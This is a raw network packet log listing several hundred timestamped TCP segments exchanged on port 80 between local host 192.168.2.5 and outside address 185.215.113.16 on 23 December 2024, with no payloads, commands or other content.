Dec 23, 2024 07:16:08.414566994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.414880991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.415000916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.415009022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.415052891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.415052891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.415858030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.415960073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.416367054 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.468482018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.468512058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.468600988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.468615055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.468719006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.468729973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.468759060 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.469602108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.469641924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.469672918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.469707012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.470282078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.470547915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.470659018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.470906973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.471132040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.471230984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.471245050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.471263885 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.472105026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.472151041 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.472197056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.472209930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.472269058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.473079920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.473153114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.473165035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.474044085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.474095106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.474095106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.474137068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.474153042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.475018978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.475107908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.475116014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.475191116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.475191116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.475974083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.476070881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.476085901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.476110935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.476669073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.476969957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.477051973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.477062941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.477530003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.477897882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.477947950 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.478009939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.478022099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.478872061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.478959084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.478971004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.479000092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.479000092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.479804039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.479861021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.479929924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.479945898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.480061054 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.480793953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.480899096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.480910063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.480978012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.481779099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.481825113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.481875896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.481888056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.481976986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.482718945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.482831001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.482841969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.482871056 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.483690977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.483752966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.483793974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.483807087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.483911037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.484721899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.484783888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.484795094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.484868050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.485595942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.485677958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.485697985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.485709906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.485824108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.486591101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.486680984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.486692905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.486780882 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.487515926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.487631083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.487643957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.487677097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.487677097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.488672018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.488781929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.488794088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.489413023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.489454031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.489454031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.531869888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.531961918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.531972885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.532167912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.532325029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.532437086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.532449961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.532488108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.532488108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.533322096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.533427000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.533889055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.533979893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.534019947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.534019947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.534085989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.534849882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.534935951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.534949064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.534986019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.534986019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.535794020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.535902023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.535913944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.536782026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.536829948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.536829948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.536855936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.536869049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.537579060 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.537704945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.585733891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.602991104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.603019953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.603034019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.603228092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.603408098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.603467941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.603482008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.603519917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.603519917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.604304075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.604417086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.604481936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.604913950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.605010033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.605024099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.605161905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.605871916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.605973005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.605986118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.606025934 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.606025934 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.606844902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.606947899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.606959105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.607240915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.607908010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.608005047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.608017921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.608057022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.608057022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.608726978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.659965038 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.660913944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.660970926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.660980940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.661053896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.661366940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.661422968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.661431074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.661457062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.661485910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.662286997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.662379980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.662386894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.662444115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.663249016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.663295984 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.663374901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.663383007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.663419962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.664201021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.664290905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.664297104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.664371967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.665160894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.665205956 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.665265083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.665271997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.665358067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.666152000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.666258097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.666265965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.666301966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.667088032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.667164087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.667190075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.667196035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.667256117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.668117046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.668191910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.668200016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.668263912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.669073105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.669131994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.669137955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.669142962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.669176102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.669981003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.670089006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.670094967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.670141935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.670957088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.671014071 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.671082973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.671089888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.671148062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.671926022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.672034979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.672041893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.672080994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.672919035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.672969103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.672988892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.672995090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.673027039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.673837900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.673940897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.673945904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.674036026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.674818993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.674892902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.674915075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.674920082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.674968004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.675834894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.675920010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.675925970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.676002979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.676745892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.676835060 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.676843882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.676850080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.676930904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.677687883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.677815914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.677823067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.677898884 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.678741932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.678786039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.678792000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.678813934 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.678848982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.679631948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.679725885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.679733038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.679790974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.680596113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.680650949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.680696011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.680701971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.680746078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.681505919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.722434044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.724081039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.724173069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.724179029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.724258900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.724455118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.724572897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.724579096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.724638939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.725456953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.725537062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.725585938 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.725943089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.726052999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.726058960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.726113081 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.726850033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.726905107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.726911068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.726933956 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.726965904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.727802992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.727907896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.727914095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.727957010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.728738070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.728827000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.728835106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.728892088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.728914976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.729675055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.729758024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.729917049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.795152903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.795205116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.795212030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.795277119 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.795563936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.795619011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.795726061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.795814037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.795819998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.795857906 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.796703100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.796752930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.796777010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.796782970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.796864986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.797641039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.797785044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.797791958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.797838926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.798706055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.798774004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.798779964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.798785925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.798818111 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.799602032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.799659967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.799777031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.799774885 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.800576925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.800618887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.800640106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.847476959 CET	49739	80	192.168.2.5	185.215.113.16
